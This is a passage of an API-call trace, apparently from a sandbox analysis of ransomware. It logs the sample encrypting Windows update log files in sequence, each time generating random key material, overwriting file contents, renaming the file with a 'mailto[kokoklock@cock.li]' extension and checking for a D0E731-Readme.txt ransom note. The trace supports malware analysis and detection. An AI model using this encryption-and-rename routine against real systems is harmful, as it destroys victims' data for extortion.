Size=0xcc) returned 0x3475a10 [0081.634] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl" [0081.634] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.mailto[kokoklock@cock.li].d0e731" [0081.634] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.026.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.026.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.635] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.635] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.635] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl", dwFileAttributes=0x2020) returned 0 [0081.636] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.636] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.636] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.636] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b718) returned 1 [0081.636] RtlExitUserThread (Status=0x1) Thread: id = 1065 os_tid = 0x17a8 [0081.632] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.027.etl")) returned 0x2020 [0081.637] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl", dwFileAttributes=0x20) returned 1 [0081.637] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.027.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0081.637] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x261bfa70 | out: lpFileSize=0x261bfa70*=8192) returned 1 [0081.637] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.638] ReadFile (in: hFile=0x350, lpBuffer=0x261bfa44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x261bfa40, lpOverlapped=0x0 | out: lpBuffer=0x261bfa44*, lpNumberOfBytesRead=0x261bfa40*=0x4, lpOverlapped=0x0) returned 1 [0081.639] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.639] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e720 [0081.639] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e658 [0081.639] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e630 [0081.639] NtQuerySystemTime (in: CurrentTime=0x261bfa1c | out: CurrentTime=0x261bfa1c*=132121176395372987) returned 0x0 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x5062d8e6 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x266f4090 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x3f9f9572 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x5ff3abc4 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x792b2260 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x17479993 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x14bc84c0 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0xf940e7eb [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x9210a25f [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x6b0c7c69 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x6bc56887 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x1a92ab53 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x2bb6d318 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x98e73b00 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0xceb15d3e [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x10f8b1ae [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x337e6001 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0xdefbaf73 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x3c6bb5a3 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x2fcdcb18 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0xdcb816b8 [0081.639] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x5be1cc60 [0081.640] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0xb20dc50 [0081.640] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x2c82faba [0081.640] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x1bd6519d [0081.640] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0xc0d111bc [0081.640] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0xfe98224d [0081.640] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0xabf1a475 [0081.640] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0xc89480cc [0081.640] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0xf9bdfd99 [0081.640] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x3f7a9081 [0081.640] RtlRandom (in: Seed=0x261bfa28 | out: Seed=0x261bfa28) returned 0x624d3551 [0081.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e720) returned 1 [0081.650] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.650] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.650] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6f8 [0081.651] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6f8) returned 1 [0081.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.651] ReadFile (in: hFile=0x350, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x261bfa1c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x261bfa1c*=0x2000, lpOverlapped=0x0) returned 1 [0081.651] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x261bf9e4 | out: lpNewFilePointer=0x0) returned 1 [0081.651] WriteFile (in: hFile=0x350, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x261bfa18, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x261bfa18*=0x2000, lpOverlapped=0x0) returned 1 [0081.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e770 [0081.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e720 [0081.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e720) returned 1 [0081.652] WriteFile (in: hFile=0x350, lpBuffer=0x342e770*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x261bfa14, lpOverlapped=0x0 | out: lpBuffer=0x342e770*, lpNumberOfBytesWritten=0x261bfa14*=0x20, lpOverlapped=0x0) returned 1 [0081.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e770) returned 1 [0081.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.652] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.652] WriteFile (in: hFile=0x350, lpBuffer=0x342e680*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x261bfa40, lpOverlapped=0x0 | out: lpBuffer=0x342e680*, lpNumberOfBytesWritten=0x261bfa40*=0x8, lpOverlapped=0x0) returned 1 [0081.653] WriteFile (in: hFile=0x350, lpBuffer=0x261bfa58*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x261bfa40, lpOverlapped=0x0 | out: lpBuffer=0x261bfa58*, lpNumberOfBytesWritten=0x261bfa40*=0x4, lpOverlapped=0x0) returned 1 [0081.653] WriteFile (in: hFile=0x350, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x261bfa40, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x261bfa40*=0x4, lpOverlapped=0x0) returned 1 [0081.653] WriteFile (in: hFile=0x350, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x261bfa40, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x261bfa40*=0x6c, lpOverlapped=0x0) returned 1 [0081.653] WriteFile (in: hFile=0x350, lpBuffer=0x342e658*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x261bfa40, lpOverlapped=0x0 | out: lpBuffer=0x342e658*, lpNumberOfBytesWritten=0x261bfa40*=0x20, lpOverlapped=0x0) returned 1 [0081.653] WriteFile (in: hFile=0x350, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x261bfa40, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x261bfa40*=0x4, lpOverlapped=0x0) returned 1 [0081.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e658) returned 1 [0081.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e748) returned 1 [0081.653] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e680) returned 1 [0081.653] CloseHandle (hObject=0x350) returned 1 [0081.653] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.653] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl" [0081.653] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.mailto[kokoklock@cock.li].d0e731" [0081.653] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.027.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.027.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.654] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.654] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.654] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl", dwFileAttributes=0x2020) returned 0 [0081.654] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.654] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.654] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.654] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.655] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.655] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b7b0) returned 1 [0081.655] RtlExitUserThread (Status=0x1) Thread: id = 1066 os_tid = 0x17ac [0081.656] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.001.etl")) returned 0x2020 [0081.656] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl", dwFileAttributes=0x20) returned 1 [0081.656] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0081.656] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2623fe68 | out: lpFileSize=0x2623fe68*=8192) returned 1 [0081.656] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.657] ReadFile (in: hFile=0x350, lpBuffer=0x2623fe3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2623fe38, lpOverlapped=0x0 | out: lpBuffer=0x2623fe3c*, lpNumberOfBytesRead=0x2623fe38*=0x4, lpOverlapped=0x0) returned 1 [0081.658] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.658] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e748 [0081.658] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e680 [0081.658] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e658 [0081.658] NtQuerySystemTime (in: CurrentTime=0x2623fe14 | out: CurrentTime=0x2623fe14*=132121176395528524) returned 0x0 [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0xbe159379 [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x4e1bfa2a [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x7a179aa7 [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x63a4723e [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x103570f0 [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0xd15cd40f [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x4999d34d [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0xe2ef0890 [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0xeb5ae129 [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0xad3f078 [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x14ad6f14 [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x109bd1fc [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x690a57ac [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x1fc19ee4 [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x2c622242 [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0xe02f959d [0081.658] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0xe94e488b [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x801cb156 [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x50d60c57 [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x9f1af206 [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x50b7e177 [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x4712f5f9 [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x892ba6bb [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x80e2f35b [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x34b2ea50 [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0xe269a6dd [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0xac632fe7 [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0xff2ae5c8 [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0xd9f39abf [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x5d3419bc [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0x537a04b5 [0081.659] RtlRandom (in: Seed=0x2623fe20 | out: Seed=0x2623fe20) returned 0xa416c90a [0081.669] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.669] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e748) returned 1 [0081.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e720 [0081.670] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e720) returned 1 [0081.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.670] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.670] ReadFile (in: hFile=0x350, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2623fe14, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2623fe14*=0x2000, lpOverlapped=0x0) returned 1 [0081.671] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2623fddc | out: lpNewFilePointer=0x0) returned 1 [0081.671] WriteFile (in: hFile=0x350, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2623fe10, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2623fe10*=0x2000, lpOverlapped=0x0) returned 1 [0081.671] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e798 [0081.671] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e748 [0081.671] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e748) returned 1 [0081.671] WriteFile (in: hFile=0x350, lpBuffer=0x342e798*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2623fe0c, lpOverlapped=0x0 | out: lpBuffer=0x342e798*, lpNumberOfBytesWritten=0x2623fe0c*=0x20, lpOverlapped=0x0) returned 1 [0081.671] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e798) returned 1 [0081.671] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.671] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.671] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.671] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.671] WriteFile (in: hFile=0x350, lpBuffer=0x342e6a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2623fe38, lpOverlapped=0x0 | out: lpBuffer=0x342e6a8*, lpNumberOfBytesWritten=0x2623fe38*=0x8, lpOverlapped=0x0) returned 1 [0081.671] WriteFile (in: hFile=0x350, lpBuffer=0x2623fe50*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2623fe38, lpOverlapped=0x0 | out: lpBuffer=0x2623fe50*, lpNumberOfBytesWritten=0x2623fe38*=0x4, lpOverlapped=0x0) returned 1 [0081.671] WriteFile (in: hFile=0x350, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2623fe38, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2623fe38*=0x4, lpOverlapped=0x0) returned 1 [0081.672] WriteFile (in: hFile=0x350, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2623fe38, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2623fe38*=0x6c, lpOverlapped=0x0) returned 1 [0081.672] WriteFile (in: hFile=0x350, lpBuffer=0x342e680*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2623fe38, lpOverlapped=0x0 | out: lpBuffer=0x342e680*, lpNumberOfBytesWritten=0x2623fe38*=0x20, lpOverlapped=0x0) returned 1 [0081.672] WriteFile (in: hFile=0x350, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2623fe38, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2623fe38*=0x4, lpOverlapped=0x0) returned 1 [0081.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e680) returned 1 [0081.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e770) returned 1 [0081.672] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6a8) returned 1 [0081.672] CloseHandle (hObject=0x350) returned 1 [0081.672] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33f1300 [0081.672] wcscpy (in: _Dest=0x33f1300, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl" [0081.672] wcscat (in: _Dest=0x33f1300, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731" [0081.672] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.001.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.001.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.673] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.673] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1300) returned 1 [0081.673] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl", dwFileAttributes=0x2020) returned 0 [0081.673] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.673] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.673] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.673] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.673] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.673] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347da80) returned 1 [0081.674] RtlExitUserThread (Status=0x1) Thread: id = 1067 os_tid = 0x17b0 [0081.675] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.002.etl")) returned 0x2020 [0081.676] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl", dwFileAttributes=0x20) returned 1 [0081.676] CreateFileW 